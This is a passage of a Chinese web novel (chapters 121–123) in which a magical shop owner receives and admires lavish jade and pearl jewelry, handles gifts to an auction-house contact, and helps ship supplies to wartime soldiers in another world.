而除了贝壳，整个头冠上的99颗珍珠，全部细致雕上莲花纹样，或是围着莲花冠的底座成一圈，或是缀在两侧成流苏。 “你再看花心。”苏娇娇提醒。 萧妧妧凑得更近一些，没等仔细看，淡淡金光闪耀。 “金珠！”她惊呼。 苏娇娇又道：“不止呢，最里面那三片花瓣，用的是砗磲。两边发簪一共六朵莲花，别看它不起眼，用的是东珠呢，雕成了莲花造型。” 萧妧妧吸气，电视剧里经常见的东珠，竟然用在这么不起眼的地方？可真舍得。 她特意查了下资料，全国现存的东珠总共也就百来件，其中大部分收在博物馆中，稀少到萧妧妧都不敢预估它的价值了。 以她肤浅的眼光来看，整个头冠恐怕不及发簪上几颗珠子值钱。 萧妧妧：“……狗眼看冠廉。” 以为的日常款其实是低调的奢华，真要说价值，并不比前点翠凤冠低多少。 萧妧妧满怀期待去看第三件。 “第三件寻常了些，金丝镂空，间隔点缀了珍珠与红宝石，珍珠六颗、红宝石六颗，单簪雕的是凤纹。”苏娇娇介绍着，抽开盒子的挡板。 果然如她所说的寻常了些，是很常见的扇形，非常大气端庄。 与前两件比，这件算是真正的日常款，百来万左右，不能再多了。 “第三件是和田青白玉牡丹冠，通体由青白玉打造，单簪雕牡丹纹。” 一件又一件，目不暇接，萧妧妧刚欣赏完金丝头冠，第四件牡丹玉冠就映入眼帘。 四件发冠，造型一个比一个简约，但仔细去看细节之处，没有一个拖后腿的，个个繁复精致，总在不起眼的地方惊艳你一把。 总之，每一个都有不同风格的美。 就说眼前的玉冠，适合得道成仙的时候佩戴，谁戴上她谁就是仙气飘飘的小仙女。 只要看她们一眼，没有哪个女孩子会不心动。 苏娇娇说得对，比起久负盛名的青花瓷，她果然更喜欢这四件精美无比的头冠。 不仅美，而且贵。 贵是重点！ 萧妧妧爱得要死，抱着手机换着角度拍照片拍视频。 手忙脚乱的时候，许年华打来电话。 听到电话那头急促又大声的问询，萧妧妧差点摔了手机。 【作者有话说】 计划要写的情节发现没那么快写到，写着写着给自己写着急了，为什么我没有八只手[裂开] 感谢读者“小露珠”,灌溉营养液 +1 感谢读者“南歌子”,灌溉营养液 +1 感谢读者“四方”,灌溉营养液 +1 感谢读者“木昰”,灌溉营养液 +1 感谢读者“墨墨”,灌溉营养液 +1 感谢读者“呦呦言”,灌溉营养液 +50 感谢读者“虫子太多好可怕”,灌溉营养液 +1 120-130 121 第121章 ◎质疑◎ “小萧,你给错东西了吧？这、这……不合适啊？” 许年华保持微醺状态到家，要不是助理提醒，礼盒差点落在车上。 回到家时间不早，许年华洗漱一番倒头就睡,第二天上班的时候看到丢在门口的礼盒,恍惚想起来这么一回事。 他扒拉一下,果然在一堆月饼里找到两个不太一样的饰品盒子。 打开一看,许年华一愣。 冰红紫的福豆，还是两个？ 以他的眼力,最多看出水头不错，是冰红紫。 他刚想联系萧妧妧问问怎么一个事,想了想，索性带去公司,请熟悉的鉴定师帮忙看看真假。 倒不怀疑萧妧妧会故意送假东西，而是现在的翡翠市场风气不好,造假也到了新的境界,担心萧妧妧那里上当受骗。 毕竟这两福豆如果是真的,可值不少钱呢。 许年华猜到萧妧妧会表示表示,他心里有预期,红包或者其他的什么，比如多多合作一类的。 收到两枚价值超百万的紫翡不在他的预期之内。 上午半天，许年华都在为冰红紫福豆而频频走神，午休一过,马上去鉴定部。 “老许，下血本了啊,货真价实的冰红紫,种水都好。” 接过盒子,许年华已经无法控制住表情，眼角轻微抽动。 真货，还是两个，加起来三百多万！ 许年华从事的行业特殊，平日里看见的昂贵珍贵的物件不少，他自诩见过世面，早已经淡然处之。 但现在，他发现自己还是不够淡定，为三百多万的礼物而坐立不安。 “怎么，傻眼了？你平时收的珠宝哪个差了？”鉴定师笑着调侃。 许年华没说，揣着盒子回了办公室。 废话，经手的物件再宝贵，说到底是别人的东西，看得着摸得着偏偏不属于他，有什么好激动的。 福豆不同，是萧妧妧送来的礼物，价值太超过了。 许年华想到自家掏空掏空两代人积蓄买的房子，总价500万，手上两枚福豆抵得上一半的价值，心口噗通噗通跳。 收了，不合适，太贵了。 不收，舍不得，那么贵呢。 许年华陷入了天人交战中。 一会想自己给萧妧妧介绍了千万大单，收点礼物应该的，一会又想，收了这么贵的礼物，别人以为他多贪呢，传出去多不好。 萧妧妧不知道的时候，许年华纠结到一天没法静下心工作。 “当然了，许叔不喜欢吗？不喜欢也没用，这是给你双胞胎女儿的升学礼物，你可别偷偷藏了。”萧妧妧一听对面语气，就知道许年华潜藏的意思，玩笑回应。 许年华又是一愣，想起自己确实晒了谢师宴在朋友圈，那都是好久之前的事，难为她记着。 “她们小孩子家家没轻没重，磕了怎么办？小萧，你听我的，我给你送过去，我知道你的心意，这太贵了，不能收。” 许年华带着东西回家，和老婆商量半天，都认为还回去的好。 许年华从前经常介绍客户相互认识，私下交易一些没法送拍的东西，为客户解决难题。 他们自然会表示一下，红包、奢侈品箱包什么的，不便宜也不会太贵重，收起来心里没负担。 只不过会被老婆念叨几句抠门。 而那些红包、奢侈品的价值，加起来根本比不上萧妧妧的礼物贵重。 许年华虽然在拍卖行工作，接触过许多上流人士，经手的古董珠宝动辄几万千万，但其实，他是个普通人。 300多万的福豆，对工薪阶层来说，过于昂贵。 萧妧妧：“许叔，我买的是原料，切出来不少东西，就包括那两个福豆，真没花多少。” 她笑嘻嘻说：“许叔你过意不去的话，下回再给我介绍客户呗，不管是买还是卖，都行。 我最近挺想参与佳博的专拍，正好在筹东西。” 不提福豆的事，萧妧妧岔开话题，引到专拍上，顺带咨询一下专业人士，到底什么类型的拍品能吸引大家注意。 说着说着，直到挂断电话。 许年华回到房间，掂量掂量两个饰品盒，神情越发恍惚。 “你这是什么表情？东西怎么说？哪天送回去？” 许年华看一眼老婆，摇了摇头：“小萧不肯拿回去，说是给咱们两个丫头的升学礼物。” 穿着棉睡裙的女人腾一下坐起，眼睛锃亮：“真送咱们啊？那我看着也行，咱们家这算不算有传家宝了？” 许年华转念一想，不禁跟着笑开。 两代人最值钱的财产就是房产，结果人到中年，时来运转，得了两样可以当传家宝的宝贝。 是的，在普通工薪阶层里，价值百多万的翡翠完全可以当做传承留给下一代。 许年华只要想到这一点，浑身都是力气。 “小萧可真大方，你平时多照顾点。”棉睡裙女人高兴地在床上又蹦又跳，“天哪，就跟中彩票一样。你看看，我说你们男的都抠门吧。你以前那些客户，给什么的都有，都不如小姑娘大气。” 许年华连声附和，然后忍不住哈哈笑：“我天天愁俩闺女的嫁妆，这下好了，有它们在，到时候拿出去多有面子啊。” 笑声一顿，许年华赶紧道：“快收起来，咱们先给攒着。” 夫妻俩顿时在房间里团团转，试图找到合适的藏宝位置。 “不行，得买保险箱，到时候把咱家的金条一起放进去。” “买了干啥，不等于告诉别人里面有宝贝吗？再找找。” ………… 许年华夫妻兴奋得不行，小卖部的萧妧妧同样如此。 电话挂断，她继续忙活拍视频。 从来没有哪件东西，能像头冠一样，会让萧妧妧迫切的想要展示出去。 点翠凤冠不合适，其他三件可以。 拍完视频，在苏娇娇好奇地紧盯中，很快剪出头冠合集，发到古董铺的视频账号里。 热度过去后，评论和私信数量骤降，只剩下少数网友坚持发来问询。 萧妧妧礼貌回复，提前发出店铺装修的提醒，免得真有顾客找上门却找不到门。 回到视频底下，把头冠基础信息一起标上，看到齐刷刷的问价评论，萧妧妧美得心里冒泡，然后冷漠地回一句“非卖品，仅供欣赏”。 再次刷新，评论量缓慢增长，一水的赞美惊叹中，陆续出现质疑声- 现代工艺品吧，不卖就好好藏着，发出来勾引谁呢？- 老板老板，我真的好喜欢莲花冠，可以找人复刻吗？- 真奇怪，古董店怎么又卖翡翠又卖首饰的- 大家注意钱包吧，现在经济不好，招摇撞骗的很多- 算了，本来想去看看的，听说古董造假太多了，怕被宰- 兄弟们，真想投资古董，还是得去老字号，京城的金玉轩最靠谱，其他你们自行分辨- 去金玉轩吧，这家一看就假得不行。 嚷嚷着卖假货的言论层出不穷，萧妧妧气笑了。 她那么多宝贝，哪一个看着假了？ 金玉轩来抢生意的？ 很快，萧妧妧摇头否定了。 金玉轩是传承百年的古董铺，属于古董行业内的头部，名气大到不玩古董的人都听说过。到了近几年，初入行的小白藏家更是把金玉轩当成淘宝圣地。 大家一致认定，想买到真古董，金玉轩是最可靠的选择。 尤其京城的土著，没人不知道金玉轩，后来网络发达了，吸引不少网红、年轻人前去打卡。 萧妧妧就是其中一个。 那时候她对古董了解不多，纯粹和室友去见世面。 和金玉轩有竞争关系，不破斋还不配。 萧妧妧想来想去，最终把事情定性为网友在拉踩，捧一踩一，不破斋是个被踩的倒霉蛋。 想清这一点，萧妧妧特意改了账户名，括号里强调只卖真货，评论区置顶解释一遍，随后便不再多说。 声音太多，她也没工夫盯着一个个回复辩解，视频发出去，总有不同的言论，只要识货的人能看出来好坏，那点质疑声微不足道。 “差不多了，妧妧，我要回去了。” 萧妧妧退出APP，往结界方向瞄。 不知道苏娇娇是怎么判断时间的，萧妧妧望了一眼，只看到画月亮高悬，月光皎洁。 萧妧妧兴奋搓手：“我来调整范围，把视角拉高一点，可以帮你望风，咱们保持联系。” 苏娇娇想了想，点头同意。 调整高度后，结界显示的范围会扩大，俯视的情况下，确实方便观察环境。 苏娇娇不觉得芦苇荡会有太多风险，但看到萧妧妧跃跃欲试的模样，满足了她。 萧妧妧见她点头，欢呼一声，等苏娇娇出了结界，马上修改数值。 目测高于地面4、5米左右，有月光照着，果然视野清晰些许，芦苇荡哪里晃动的异常，稍微盯两眼便能发现。 感慨着那个年代的芦苇荡真漂亮，不一会，苏娇娇所在位面传来清脆悠长、人工感十足 的鸟鸣。 不多时，百来米外，一盏油灯倏然亮起，灯光摇摇晃晃远去。 萧妧妧猜测，提灯的人应该就是苏娇娇说起过的苏管家。 苏管家收到信号，扭头往村子深处的山腹位置跑。 和值守战士嘀咕两句，两人又一起前往一户农家小院，铛铛铛敲门。 小院不多时亮起灯，而后，披着外衣的粗糙男人拉开门走了出来。 “出什么事？”男人眯着眼。 “谢指导，东西到了，叫上大家伙去搬货吧。”苏管家喜气洋洋的说。 谢指导一惊，喜色浮上眉梢：“东西到了？不是说还有十来日？太突然了，好好好，小柳，安排三队人去卸货。” 苏管家笑着说：“那可不够，我们夫人这次联络到海外同胞，捐来许多生活物资和家禽，三队人一晚上都搬不完。” 谢指导好像听到了世界最美的语言，一晚上搬不完……这得有多少物资啊。 “我亲自去！小柳，去后勤借人。” 旁边的年轻人小柳笑得见牙不见眼，应了声，转身往村子里跑，挨家挨户敲门，通知大家穿上衣服去搬货。 苏管家先领着谢指导往芦苇荡赶。 “有些关节要疏通，按原计划是在十日后，这次多让了些好处，所以快了些。” 谢指导感动非常，暗自决定要汇报上去，好好感谢一下苏太太的援助。 一行四人钻进芦苇荡，兜兜转转，总算看到了不远处停靠的三艘旧货船。 苏娇娇出现在船头，邀请道：“谢指导，您上来看看？是不是咱们缺的那几样。” 谢指导被苏娇娇戳破心思，腼腆地笑了一会，蹚水过去，胳膊一撑翻到船上。 这时，陆续有战士整装跟来，推着车，挑着筐，苏管家赶紧找地方架梯子，方便大家上下船。 谢指导顾不上潮湿的裤脚，拢了拢衣服，往船舱里钻。 “米、面、玉米、大豆……”谢指导打开口袋一一去看，“怎么还有酒……哦，是盐和糖？好好好，这一坛子够用许久了。” “旁边这几包又是什么？”谢指导指着角落的麻布包。 苏娇娇回想一下：“种子，从外面买的蔬菜种子。” 谢指导控制不住哈哈笑：“种子好啊。对了，麻布呢？” 苏娇娇淡定极了，领着人依次把其他两艘船的物资介绍一遍。 战士们个个扬着笑脸，麻布包压得他们直不起腰，依然干得热火朝天。 大家排着队接力，一袋袋物资堆上推车、箩筐、驴车……一趟趟往村子深处运。 谢指导蹲在船头，抽着焊烟，时不时敲两下烟杆，咂咂嘴。 疲惫却明亮的双眼紧紧凝着船舱方向，看弟兄们们传递桐油、棉花、药材，不禁低声喃喃。 “娘嘞，跟做梦一样。” 闻言，苏娇娇和苏管家噗呲一声笑。 萧妧妧打了个哈欠，守了一个多小时，没看到一点异常，等船运空了，她又把数值调回去。 回家之前，她特意挪开小卖部一整面墙的货架，其他货架覆盖上一层防尘塑料袋。 做到这一步就没多少要她费心的，只等第二天工人上门围住188号的店铺大门，然后在隔断的墙上拆出一个宽阔些的门。 189号的院子也需要拆，脏旧的厨卫必须全部换新。 拆除之后就好办了，有系统在，不是问题。 杂事忙完，萧妧妧难得在十点之前赶回家里。 而另一个位面，数不清的战士为充沛的物资亢奋到夜不能寐。 【作者有话说】 感谢读者“小露珠”,灌溉营养液 +1 感谢读者“南歌子”,灌溉营养液 +1 感谢读者“四方”,灌溉营养液 +1 感谢读者“catle”,灌溉营养液 +1 感谢读者“墨墨”,灌溉营养液 +1 感谢读者“木昰”,灌溉营养液 +1 感谢读者“熙妍”,灌溉营养液 +5 感谢读者“一颗旧的月亮”,灌溉营养液 +1 感谢读者“么么”,灌溉营养液 +18 感谢读者“虫子太多好可怕”,灌溉营养液 +1 感谢读者“mmmosquito”,灌溉营养液 +5 122 第122章 ◎不缺钱，纯抠门◎ 清晨,鸡叫三声，新的一天随着云雾散开而正式展开。 苏娇娇忙到半宿，又累又困，才睡下没多久,迷迷糊糊间听到外面此起彼伏的欢呼。 翻来覆去好一会,欢笑声疯狂传播,苏娇娇实在睡不下去,换上衣服，翻出萧妧妧特意为她准备的新布鞋,拉开老木门。 “好多鞋子啊，班长,这些是给我们的吗？你看这鞋码，刚好适合我。”年轻人咋咋呼呼,一边扛着麻布袋一边围着班长问前问后。 “急什么，那么多还能少了你的？赶紧吧,后面还有一批布,咱们有新衣服穿了。”年长的男人越过年轻人,笑着打趣。 年轻人凑过来问：“哥,东西什么时候送来的？班长一大早把我们叫醒,进院子一看，差点以为做梦了。” “那谁知道，咱们只管听命令扛进去。对了，我听小柳说,有腊肉！还有鸡鸭鹅呢，说是后勤叫了一队人起来,连夜搭棚子。” 年轻人吞了一口唾沫,舔舔唇：“咱们有鸡蛋吃了？” “不止,药也够了，地窖塞得满当当，是吧班长？” 老班长沉默地扛起布匹，粗糙掌心不敢碰着布，怕把紧实布料勾出丝线，一直攥着袖口垫着。 年轻人见了，也学着班长的样子，放轻了动作。 “别唠嗑了，加把劲。” 苏娇娇站在篱笆墙里，看三两成群的小战士兴高采烈地背着麻布包路过。 昨晚那一批物资给大家忙够呛。 送到村子里耗费了许久，找到粮仓地窖堆放又用了一段时间，苏娇娇熬不住，谢指导员劝了几句，索性先回屋睡觉。 这会她才发现，原来还有这么多东西没能运进库房。 “太突然了，没想到还有鸡鸭鹅，棚子都是现搭的。粮食药材怕受潮，先运进地窖了，其他东西不着急，先放放。” 谢指导员这时出现，见苏娇娇望着另一端堆放物资的院子出声，笑呵呵解释。 苏娇娇笑了笑，没戳穿他。 恐怕不是来不及，是想让战士们看看新到的物资，让大家高兴高兴，提振军心。 谢指导员说出来意：“小苏，这次物资调配，你和苏家柳家都出了大力气，中午设宴，你可要来啊，我和老师必须好好谢谢你。” 苏娇娇一凛，下意识挺直脊背。 这么多物资瞒过敌人视线送进来，难度不比打下一场胜战低，宴上恐怕要多问几句。 苏娇娇飞快转动脑筋，检查一遍和萧妧妧商量的借口，慢慢放松下来。 对，就说腐蚀了敌人内部，反正查又不好查，等她离开，再说被敌人察觉，不肯帮忙，很完美。 苏娇娇心里踏实了，一口应下中午的约。 借口昨晚运送物资累到了，苏娇娇翘掉了上午的打靶课，借口补觉，锁上房门。 放下床帐略等片刻，无人前来打扰，苏娇娇放心地召唤出小卖部，迈了进去。 “妧妧，我还要再……” 苏娇娇进了小卖部，抬眼覆上透明东西的货架，以及本该放着冷藏柜的位置破开一个大洞，话音戛然而止。 才一晚上的工夫，怎么小卖部就变样了。 左右张望，店里无人，苏娇娇扭身穿过后门去院子。 进了院子，隔壁咚咚咚的敲打声一下一下传来，好像在装修，木绣球树下聚了好几个人，热热闹闹。 申明月毫无姿态的窝在沙发里，抱着平板听课，视频里讲的是《孙子兵法》，一脸英气的小姑娘听得如痴如醉，时不时爆发一声“妙”。 爱丽丝小小人儿，坐在石凳上晃着腿，面前摊开一本习题册。她一会扣扣脑袋，一会望着天空发呆，隔一会去看院子另一边的两人，就是不去看面前的算数题。 萧妧妧和孟甜甜则在忙个不停，试图为一坨彩色布团充气？ “这可不是布团，是充气艇。”萧妧妧听到苏娇娇的疑惑，笑着解释一句。 苏娇娇呆住，上手捏了几下，“这是充气艇？和我们那里的完全不一样呢。” 萧妧妧诧异：“哇，那时候就有充气艇了？” 苏娇娇点头，然后帮忙一起给充气艇打气。 说完闲话，苏娇娇才继续道：“妧妧，我可能还要买一批物资，比如麻布、棉花、粮食，对了还有布鞋。” 苏娇娇想，既然她留在那里的时间不长，不如少量多次的补给，也算尽一点心意。 萧妧妧龇着牙笑：“娇娇姐尽管放心，我一直在采购呢。” 孟甜甜举手为她作证：“我可以证明，萧老板一大早过来，和工人商量完就忙着采买物资呢。” 苏娇娇这时想起小卖部的那个大洞，问：“店里怎么回事？我进来时吓一跳。” 萧妧妧得意的嘿嘿笑：“店铺扩张，忙着装修呢，过几天就好。” 正说着话，隔壁的敲打声停下，工人懒得跑一趟，冲着墙头喊话。 “老板，几个房间都拆完了，还要做什么？” 萧妧妧眼睛一亮，丢下手里活噔噔噔跑过去。 绕过一地建筑垃圾，看到几间改造得看不出原貌的屋子，萧妧妧满意极了。 “够了够了，旁边院墙再开一个门，到时候我多付你们一些钱，麻烦你们帮忙把垃圾带走扔掉。” 几个工人见没能争取到新工作，失望的哦了一声，拿起工具继续拆院墙。 拆墙面积小，几锤子下去，不过十来分钟。 后院房间的脏台面、瓷砖更快，电钻锤子齐上阵，分分钟解决。 全部改拆总共用了半个上午完成，反倒是收拾垃圾最费劲。 萧妧妧给钱大方，又包了午饭，工人们毫无怨言。 赶在午休前，189号小院改拆流程彻底结束，送走工人，萧妧妧第一件事就是操作系统，把189号纳入管理范围。 有了权限，后续的硬装部分速度飞快。 在大家的目瞪口呆中，店铺墙上大洞连着换了七八个造型的门，最后变成感应形式的玻璃门。 院墙不能随意选择，沿用了古朴的青砖风格，大小够三人并排进出。 随后是189号的墙面和地砖，接连变幻后，和188号达成了统一。 没什么特色装修，普普通通的白瓷砖和大白墙，一看就是同一家店铺。 店铺扩张，连带着异世界客人的活动范围也增加了。 大家试探着穿过感应门来到189号，高兴地欢呼出声，一窝蜂绕去后院。 萧妧妧落在最后，不禁挠了挠头，怎么店铺扩大，反而是她们更快乐？ 储藏间、员工休息间、设备间全部拆除，铺面面积看起来和188号差不多了。 穿过后门，乱糟糟的院子一键清理干净，看起来宽敞许多。 因为189号院子是后期仿建，建筑整体还很牢固，无需做多余改动。前任房东买来之后精装修过，租出去后换了几次租户，都根据需要改造过水电，轮到萧妧妧手里就更省事了，可以直接开始选择装修风格。 “我喜欢有绿色帘子的。”爱丽丝盯着繁复宫廷风格的装修，脆声说。 萧妧妧冷漠否定：“不行，需要额外付费。” 孟甜甜想了想：“原木风也不错。” 萧妧妧心痛：“……要付费。” 苏娇娇：“复古风呢？也要付费？” 萧妧妧沉重点头。 申明月古怪看她：“萧老板不缺钱吧？” 萧妧妧：“缺倒是不缺，纯抠门。” 大家无话可说，扭头看了看最终成品。 黑瓷砖，大白墙，玻璃窗，台面宽敞，简约了些，但整体看起来还不错。 硬装结束，软装上场，这就得萧妧妧自己花钱买东西。 桌椅板凳可以省，家电不能少，除了库房不用管，其余两间卧室和厨卫都要配全生活用品。 因为其中一间卧室是她的，忙到没时间回家的时候还是住在店里最方便，另一间客房也不能糊弄，说不定哪天就用上了。 规划一遍，萧妧妧掏出手机采购物品，预约上门时间。 一行人从院子中新开的小门回到188号，继续忙手头上的事。 苏娇娇担心错过午饭的约，帮了一会忙便匆匆离开。 爱丽丝实在不想做作业，自告奋勇要给萧妧妧打下手，去小卖部揭货架上的塑料布。 申明月早早来到小卖部，发现店里人来人往，一直耐心等着，顺带听听大师讲座。 这会没了不相干的人，她才松懈下来，掏出一沓手帕大小的样布。 “伤员不便挪动，队伍多逗留了几日，我去信请母亲帮忙，找来了这些布，萧老板你看可行？” 孟甜甜见她们要说正事，道：“你们进去忙吧，我这里快结束了。” 萧妧妧招来爱丽丝，按着她坐下学习，才领着申明月回店里商量事情。 布片平铺在桌上，萧妧妧摸一摸、揉一揉，不由感慨，难怪说古代旧衣裳拿去当铺都能换到钱。 除了物资匮乏的原因外，质量真没得说，摸起来比她身上的塑料摸着高级多了。 搁在古代，萧妧妧不觉得自己能穿得起这么好的料子。 感谢聚酯纤维……？ 萧妧妧提前打预防针：“一模一样不太可能，做到相似绝对没问题。” 为了让申明月安心，她找出网络上的几家做复原款布料的店铺，播放视频。 “这是现代机器可以达到的水准，你瞧，是不是很像？” 申明月再次赞叹这个小板砖的便捷，然后把重点放在视频展*示的布料上。 “像！瞧着更密实呢。” 上次买水晶缎她就瞧出来了，技艺绝佳，而且数量多，挑不出缺点。 那时候光想着浮光锦，没想起来大批量买其他布料，申明月每每想起便懊悔不已。 “早知道那时候我该多问几句，否则早用上这么好的料子了。” 萧妧妧宽慰她：“错不在你，是我没反应过来。” 当时一门心思挑浮光锦，她也没深入讲解。 古代一机三日成一匹，现代一机三分钟成一匹，但凡申明月知道现代的生产力效率，以她的聪明劲，用不了多久就能意识到这里的布匹有多便宜。 对应样布一一查找市面上的仿古布料，多番对比之后，两人对布料厂能给出什么样的成品，心里大致有了概念。 申明月惊叹：“您这儿的织布机，太不一样了！” 看物品详情的时候，一条简短的布料生产画面吸引了她。 萧妧妧没什么感觉，申明月大为震撼。 上次只是听萧老板嘴上说了一遍，知道有这么个情况，但她无法想象。 如今能肉眼看见布匹飞速织成，无需人力，申明月的世界观再次被颠覆。 兴致勃勃盯了几分钟，申明月回神，说起另一件正事。 “萧老板，东西准备好了，我现在送来……？” 她扫一眼背后挪得乱七八糟的货架，不确定地问。 【作者有话说】 如果你们知道后面会出现什么东西，大概也会觉得扯，而我要继续写出来。 需要信念感的不止是演员，还有我[可怜] 感谢读者“韵月”,灌溉营养液 +2 感谢读者“墨墨”,灌溉营养液 +1 感谢读者“四方”,灌溉营养液 +1 感谢读者“小露珠”,灌溉营养液+1 感谢读者“木昰”,灌溉营养液 +1 感谢读者“ninomi”,灌溉营养液+5 感谢读者“月白”,灌溉营养液 +10 123 第123章 ◎环环相扣◎ “方便,很方便。” 萧妧妧急促应声，赶紧一键清理、补充货架，最后把针对普通顾客的日常商品全部转移到189号。 188号只余下少量几个普通商品的货架，一股脑摆在门边位置装样子。 小卖部格局大改动,萧妧妧想着动都动了,干脆再彻底一点,把柜台也一起挪开,不着痕迹地划分出两个区域，招待不同世界的客人,免得互相打扰。 如此一来，需要变动和考虑的细节就多了,暂时顾不上。 萧妧妧粗糙地打理一遍，便把重心放在了即将进账的宝贝们身上。 申明月在一旁看得一愣一愣,三下五除二，小卖部变得空荡荡,说话有回声。 她回过神,哦了一声,转身去搬东西。 结界显示对面三个大箱子的时候,萧妧妧一惊。 “你先别忙,我来想办法。” 她急忙叫住申明月，转而在系统操作分类中查找。 有点印象，好像有个反向投放的功能来着。 未开放和已开放功能乱糟糟挤在一起，萧妧妧一边抠脑袋,一边在操作界面翻找。 申明月正纠结要不要问问萧老板在忙什么，还要等多久,很快,萧妧妧高兴地拍了拍自己的脑袋。 “找到了！”萧妧妧虚空划了几下,申明月脚边的三个大箱子唰一下消失。 申明月瞪大眼睛，看看脚边，又看看萧妧妧脚边。 她抬脚跨回小卖部，哇了一声。 这可太方便了。 萧妧妧：“都是我的吗？” 申明月点头，随手掀开最近的一个箱子。 “哦，这个啊，这里都是珠宝，萧老板一定很喜欢。” 大木箱掀开盖子，里面装了大小不一的小匣子，目测有十几个。 她俯身捡起一个小木匣，打开，递给萧妧妧。 “东珠一盒，共五颗。”顿了顿，申明月说：“贵妃娘家翻出来的，据说是宫里赏下来，一颗值千金。” 虽说明码标价了，可以用价值相当的物件抵扣费用，但申明月拿不准到底什么东西在萧妧妧这里算值钱，便各种玩意都搜罗过来。 一听说东珠价值千金，而申明月自己又不需要它，马上装进箱子想着留给萧妧妧。 萧妧妧此刻已然呆如木鸡。 昨天还感慨稀有的东珠，转眼工夫来了五颗，这…… 吞了吞口水，萧妧妧小心翼翼捏起一颗大号麦丽素。 好看肯定是好看的，但怎么看，在她眼里就是一珍珠，实在想不通怎么能卖上天价。 申明月耸了耸肩，苦恼地说：“谁知道，他们连扇面都要金的玉的象牙的，唉，真是弄不懂。” 合上匣子，放回箱子里，萧妧妧刚直起腰，申明月递来下一个。 猛地瞅见细长木匣里的翡翠链子，萧妧妧这下没忍住，一声卧槽脱口而出。 “环环相扣！”她加重语气：“还是黄加绿！” 先说环环相扣，这是一种传统的翡翠雕刻工艺，对匠人的技艺要求很高。 工匠需在一块完整的翡翠原料上加工，雕琢出精美的环，环可以是长形、圆形或者其他特别的形状，环上再雕刻着各种寓意吉祥的纹样。 这样的环不止一个，而是环环相套，精细串联在一起，它们不仅大小一致，保持紧密衔接，同时兼顾牢固与美感，最终套出一串手镯或链子。 想要每一个环都无瑕无裂，并保持一致的透明度，对翡翠原料的选材要求自然就更高。 技艺难度大、要求高，据萧妧妧所知，在追求效率、性价比、个性化等一系列需求的现代，少有匠人吃力不讨好雕环环相扣。 费料是一方面，主要是特别容易雕废，成功率非常低，一不小心就赔本。 做圆条手镯和蛋面多香啊，既经典又卖得上价。 现在市面上能见到的环环相扣款式的翡翠饰品，大多是老古董，年轻一些的也有十几年历史。 和时装一样，翡翠的款式也有流行与过时的说法，每隔一段时间流行不同的款式。 有的款式，一眼能看出是哪一年流行并雕刻，有的款式，一看就是古董。 环环相扣属于后者。 说完工艺，再说黄加绿。 顾名思义，黄加绿是指一块既有黄色，又有绿色的翡翠，其价值取决于颜色的分布。 多一点白色，同时拥有黄、绿、白三色，叫做三彩翡翠。 黄调多一点褐色，那就是黄加褐，黄色少一点，那就是黄夹绿。 多一点少一点都不能算作黄加绿，价格更是有着不小的差距。 黄是鸡油黄，绿是阳绿，两种颜色在珠链上的占比均衡，分界清晰，同时，种水也达到了冰种，绝对称得上黄加绿中的顶级好货。 尤其链子长度达到了60厘米，属于长链，对工匠技艺和翡翠原料的要求，都要比短链的要求高出一大截。 萧妧妧之所以惊叹连连，除了工艺与黄加绿，还有珠链挂着的蛋面。 饱满圆润的蛋面，大小与重量卡在舒适与美感的中间点，佩戴者既能感受到它的份量，又不至于感到不适。 当然，这不是重点。 最让萧妧妧惊艳，并且笃定它价值不菲的原因，来自蛋面的黄绿色分配。 见过太极图吗？黄加绿蛋面的颜色占比与分配，完美形成太极图样式，完全符合那句“绿如翠羽，黄似蜜蜡”。 别说真货了，萧妧妧连假货都没见过雕成这样的，未免太假了。 可偏偏，这么独特的样式真得不能再真。 现代人买翡翠追求各有不同，但无一例外，种水、颜色是必需考虑的因素，另外一点，则是独特。 越独特，越吸引收藏者关注，爱的人会爱得不行，愿意高价买入，所以也越容易出手。 工艺好，料子绝佳，还足够独特，无论从哪一方面看，黄加绿珠链没有一处短板。 萧妧妧赶紧查资料，目前市面上出现的黄加绿，从摆件到首饰，拍卖价在百万到千万不等，最高才迈过千万的门槛。 老话说得好，色差一等，价差十倍；种差一级，价差百倍，手上这条珠链，只看链子部分，已经能卖到上千万，再加上有过之无不及的蛋面，直接奔着亿去了。 而这么贵的黄加绿，萧妧妧根本没有在市面上查到过记录。 她捂住差点跳出来的心口，压下激动情绪。 申明月这时又接连打开了几个长匣子。 一眼扫过去，全是胖圆条翡翠手镯，圈口有大有小，按照颜色分类。 萧妧妧刚平静下去的心脏咚咚咚跳。 太刺激了，一睁眼一个帝王绿，再一睁眼，一套帝王紫。 申明月饶有兴趣地看萧妧妧变脸，笑嘻嘻说：“萧老板果然更喜欢翡翠，不枉费我请教了人。” 童年过于凄惨，以至于申明月长这么大没接触到多少珍贵的好物件。 母亲自小舞刀弄枪，对打扮没什么兴趣，自然教不了她多少。 理所当然的，申明月“不识货”。 为了挑出它们，申明月特意抢来几个大家族从小精心培养的大丫鬟留在身边。 别看是丫鬟，懂的可不少，认识各种名贵衣料香料，知道如何打理各种皮子衣裳，会绣花，会泡茶，懂一点算账。 对翡翠、古董、宝石等有基础的鉴别能力，知道哪个贵重，哪个不值钱。 申明月抢了四个丫鬟回来，让每人都参与进来，抱着震惊萧老板的念头，选出了这三箱子好东西。 萧妧妧索性蹲下身，整个人快要钻进箱子里，眼巴巴捧起第一个匣子。 这是一整套帝王紫首饰。 大珠串颈链一条、吊坠一条、耳环一对、手镯一对、戒指一枚，一套整整齐齐摆放在一起，萧妧妧的视线不知道该落在哪。 申明月说不出个所以然，撑着下巴蹲在一边，看萧妧妧一寸寸挪着手电。 比起检查、挑拣、挑剔，萧妧妧给她的感觉更像是欣赏，一长串赞美不要钱似的扔出来，情绪价值拉满。 明明不是夸自己，申明月仍旧听得耳根子发热，恨不得把好东西全掏出来。 这是萧妧妧第二次见识帝王紫，唯一的参照物是柳如烟的那只镯子。 凭良心说，这套帝王紫料子比柳如烟的那个好，难能可贵的是，整套首饰出自同一个料子。 帝王紫本就比绿翠稀有，尤其它还是一套，种水达到玻璃种以上，怎么看都是稀有藏品。 拆开单卖，一个镯子能过亿了，一套组合卖……4个亿差不多可以拿下。 天天亿亿亿，萧妧妧都快要对金钱失去概念了。 以为黄加绿够顶了，没想到还有更顶的。 帝王紫小心收好放回去，萧妧妧转而去看后面几个匣子，全是手镯，各种颜色的手镯。 无色白月光、金丝阳绿、春带彩、辣绿、正阳绿、高冰飘花、阳春白雪、帝王绿…… 每种一匣子，每匣子六只镯子。 贵的能到几千万，便宜的如白月光、阳春白雪，种水颜色也是好得没话说，至少大几百万。 萧妧妧闭了闭眼，2元店批发橡皮筋都不敢买这么多。 别说戴不戴得过来了，卖都不一定卖得过来。 太多了！ 